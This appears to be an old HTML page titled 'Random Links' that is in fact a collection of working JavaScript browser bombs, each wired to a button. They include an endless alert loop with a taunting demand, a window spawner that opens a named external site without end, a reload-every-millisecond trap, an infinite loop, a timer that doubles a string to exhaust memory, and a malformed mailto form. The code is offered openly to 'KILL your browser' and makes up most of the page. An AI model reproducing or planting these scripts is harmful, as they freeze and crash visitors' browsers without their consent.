<HTML>
<TITLE>Random Links</TITLE>
<BODY bgcolor="white" text="black">
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function AnnoyingButton()
{
while (true)
window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") }
// Keep opening windows over and over again
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("
http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
// Not as interesting as the other bombs, but this one forces the user to
// stay at the current page. User cannot switch to another page, or click
// stop to stop the reloading.
function ReloadBomb()
{
history.go(0) // reload this page
window.setTimeout('ReloadBomb()',1) // tell netscape to hit this function
// every milisecond =)
}
// Not a very interesting bomb, it does nothing really :>
function WhileLoopLock()
{
while (true){}
}
var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :> I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven! No while loops here!
function EatMemoryInTime()
{
szEatMemory = szEatMemory + szEatMemory // keep appending
window.status = "String Length is: " + szEatMemory.length // report size
window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this function
}
// End -->
</SCRIPT>
<font size=2>
[Everything in here will <Font Color="#FF0000"><B>KILL</B></Font> your browser]<br>
</center>
<FORM method=post name="FormAction" action="mailto:"+"ccamel@netural.com">
<li>Window Spawner - opens windows, over and over and over
again. Sucking up memory resources, until Netscape uses all of it's
assigned memory and crashes<P>
<INPUT TYPE="button" value="Exploding Windows"
Name="btnExplodeWindows" onClick="WindowBomb()"><P><br>
<li>Continous Prompts - Don't you love being stuck in a
infinite loops of Javascript Prompts?<P>
<INPUT TYPE="button" value="Annoying Button" Name="btnAnnoy"
onClick="AnnoyingButton()"><P><br>
<li>Continous Reloads - Reload the page every milli-second<P>
<INPUT TYPE="button" value="Reload Bomb" Name="btnReload"
onClick="ReloadBomb()"><P><br>
<li>Empty While Loop - Just sits forever in the while loop<P>
<INPUT TYPE="button" value="While Loop Lock" Name="btnWhile"
onClick="WhileLoopLock()"><p><br>
<li>Memory-Monster - infinite calcultations can take up a
lot of memory ;P<P>
<INPUT TYPE="button" value="Eat Memory In Time" Name="btnEatTime"
onClick="EatMemoryInTime()"><p><br>
<li>mailto submit bug - putting a '+' in front of the email
address in front of mailto in the action of a form is BAD!<P>
<INPUT TYPE="button" value="Action!" onClick="document.FormAction.submit()"><br>
</font>
</BODY>
</HTML>